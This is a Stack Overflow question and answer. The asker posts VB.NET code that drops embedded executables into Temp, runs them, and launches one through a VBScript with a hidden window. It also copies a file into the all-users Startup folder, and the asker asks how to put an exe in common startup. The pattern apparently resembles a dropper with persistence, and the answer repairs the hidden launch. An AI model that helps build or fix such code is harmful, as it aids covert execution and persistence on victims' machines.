1

I need help to solve this script: The problem is simple, can not run VBScript VB8 because it opens with Windows based script host and throws me error.

As you can see here : img

I want to run as a normal VBScript script .

Public Class Form1
    Dim File As String = "%temp%\Desktop"

    Dim Copy As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"
    Dim Paste As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"

    Dim Pegar As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"

    Dim NEA As String = "%ProgramData%\Microsoft\Windows\Start Menu\Programs\Startup"

Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click

    IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\System.exe", My.Resources.System)
    Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\System.exe")
    IO.File.WriteAllBytes(My.Computer.FileSystem.SpecialDirectories.Temp & "\Update.exe", My.Resources.update)

""""""""""""""""""""""""""Error starts here """"""""""""""""""""""""""""""

    IO.File.WriteAllText(My.Computer.FileSystem.SpecialDirectories.Desktop & "\net.vbs", My.Resources.net)
    Process.Start(My.Computer.FileSystem.SpecialDirectories.Temp & "\net.vbs")

""""""""""""""""""""""""End Error""""""""""""""""""""""""""""""""""""

    MsgBox("Ok")
    Dim aakam As Integer
    On Error Resume Next
    aakam = 1000
    Dim aakam031 As String = My.Computer.FileSystem.SpecialDirectories.Temp
    Dim akam As String = aakam031 + "System.exe"
    IO.File.WriteAllBytes(akam, My.Resources.System)
    Process.Start(akam)
    If System.IO.File.Exists(File) = True Then
        System.IO.File.Copy(File, Copy)
        System.IO.File.Copy(File, Paste)
        System.IO.File.Copy(File, Pegar)
        System.IO.File.Copy(File, NEA)
    End If
End Sub

The script of vbscript is:

Set WshShell = CreateObject("WScript.Shell")
WshShell.Run chr(34) & "Update.exe" & Chr(34), 0
Set WshShell = Nothing

I want that opens like a typical scipt of vbscript. No Windows based script host. If you know how move a exe to shell:common startup. It would be much better to run a vbscript Thanks.

Narendrasingh Sisodia
  • 21,247
  • 6
  • 47
  • 54
  • 1
    Your script is failing in line 2, that is, the non found element is `Update.exe`. You should include the path to the file. – MC ND Jun 18 '15 at 05:54
  • 1
    *Every* VBScript is executed by the Windows Script Host. Always. It's also utterly unclear to me why you create a script that does nothing other than running an executable. Why not run the executable from your VB.NET code? – Tomalak Jun 18 '15 at 06:53
  • You could try using [the MSScriptControl in .NET](http://stackoverflow.com/questions/24909717/run-vbscript-using-c-sharp) – oracle certified professional Jun 18 '15 at 08:04
  • @Tomalak Internet Explorer (IE) is just one of the available scripting hosts other than the Windows Script Host. – david Jun 18 '15 at 10:19
  • @david As of IE11, it isn't. And beyond that the list gets *very* short. A .vbs file however is executed by either wscript.exe or cscript.exe. – Tomalak Jun 18 '15 at 11:38
  • 1
    @Tomalak IE11 is, of course, a vb script host, for backward compatibility. Unlike IE10 and MSI, the IE11 vb script host is not supported by MS support. Not that it matters: you can host the scripting control and execute vbs files in dot Net or Powershell. I'm only clearing up the technical confusion, not answering the utlimate question. – david Jun 22 '15 at 04:53

1 Answers1

0

As @MCND already pointed out: your problem is not the Windows Script Host, but that the executable isn't found in the current working directory. If the executable is located in the user's Temp directory you could simply add the %TEMP% environment variable to the executable path:

WshShell.Run Chr(34) & "%TEMP%\Update.exe" & Chr(34), 0

or you could pass the directory to the script as an argument and set the working directory like this:

WshShell.CurrentDirectory = WScript.Arguments(0)
WshShell.Run Chr(34) & "Update.exe" & Chr(34), 0
Ansgar Wiechers
  • 193,178
  • 25
  • 254
  • 328